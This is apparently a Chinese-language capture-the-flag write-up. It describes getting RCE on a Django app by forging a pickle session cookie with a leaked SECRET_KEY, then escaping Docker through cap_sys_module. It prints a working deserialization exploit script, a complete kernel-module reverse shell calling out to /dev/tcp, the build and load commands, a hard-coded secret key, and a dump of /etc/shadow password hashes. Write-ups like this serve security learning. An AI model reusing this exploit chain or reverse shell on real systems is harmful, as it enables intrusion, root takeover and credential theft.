有个镜像 这个直接dump下来翻就行了,其实全部解压比较好,主要我硬盘没空间了,所以就挨个压缩包看了,有点折磨

然后在480311b89e2d843d87e76ea44ffbb212643ba89c1e147f0d0ff800b5fe8964fb.tar.gz压缩包里找到个app目录里面有.env,其中包含SECRET_KEY。

因为我之前做过python的web框架的反序列化的题目..所以看到SECRET_KEY一眼顶针,不过还是找了下salt,然后发现salt是默认的。

然后找利用脚本找了好久,朋友发过来一个才发现其实找到的第一个就是可以用的,是我的payload错了..在那疯狂touch /tmp/xxx,然后用alex去宿主机的/tmp看有没有文件生成,忘了这是image目标是跑在docker里的,打昏头了属于是 XD

这里用的这位师傅的脚本https://www.cnblogs.com/-zhong/p/13463486.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# coding: utf-8
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
from django.conf import settings

settings.configure(SECRET_KEY='55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b') # SECRET_KEY 参数的值为 demo Django 项目的 SECRET_KEY 值


class CreateTmpFile(object):
def __reduce__(self):
import subprocess
return (subprocess.call,
(['bash',
'-c','echo xxxxx | base64 -d | bash'],))


sess = signing.dumps(
obj=CreateTmpFile(),
serializer=PickleSerializer,
salt='django.contrib.sessions.backends.signed_cookies')
print(sess)

生成的session替换到web上就可以rce啦

docker

到这里其实就简单了

弹shell进入容器,本来是打算跑个deepce或者linpeas的,不过因为capsh --print输出里有cap_sys_module,所以速通了。

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_sys_module

按照hacktricks讲的分别创建一个

reverse-shell.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/xxxxxx/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

以及一个

Makefile

1
2
3
4
5
6
7
obj-m +=reverse-shell.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

nc -lvnp 4444

insmod reverse-shell.ko

就拿到了root 的 shell

hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root:$y$j9T$Gctu2C9XwCFVr1qINWJjA/$u8IdKz0x2uCYAzOIx0qxNvBQEjY0uOaRwgA1sRC8Aj8:19592:0:99999:7:::
daemon:*:19592:0:99999:7:::
bin:*:19592:0:99999:7:::
sys:*:19592:0:99999:7:::
sync:*:19592:0:99999:7:::
games:*:19592:0:99999:7:::
man:*:19592:0:99999:7:::
lp:*:19592:0:99999:7:::
mail:*:19592:0:99999:7:::
news:*:19592:0:99999:7:::
uucp:*:19592:0:99999:7:::
proxy:*:19592:0:99999:7:::
www-data:*:19592:0:99999:7:::
backup:*:19592:0:99999:7:::
list:*:19592:0:99999:7:::
irc:*:19592:0:99999:7:::
_apt:*:19592:0:99999:7:::
nobody:*:19592:0:99999:7:::
systemd-network:!*:19592::::::
messagebus:!:19592::::::
avahi-autoipd:!:19592::::::
sshd:!:19592::::::
alex:$y$j9T$vRmhfv9eghNK4I7HfdkjW0$5fFIjvFlbw5ki/5cvoSkG/YizBXms47kw9tubbF/l42:19759:0:99999:7:::
morty:$y$j9T$0lTi82bFeyrX9oyH/XMnE.$V8E6g5oxm5/LGomE.6NBAIwvieFOLqSgm3b7LnZlPT5:19781:0:99999:7:::
postfix:!:19629::::::
_laurel:!:19839::::::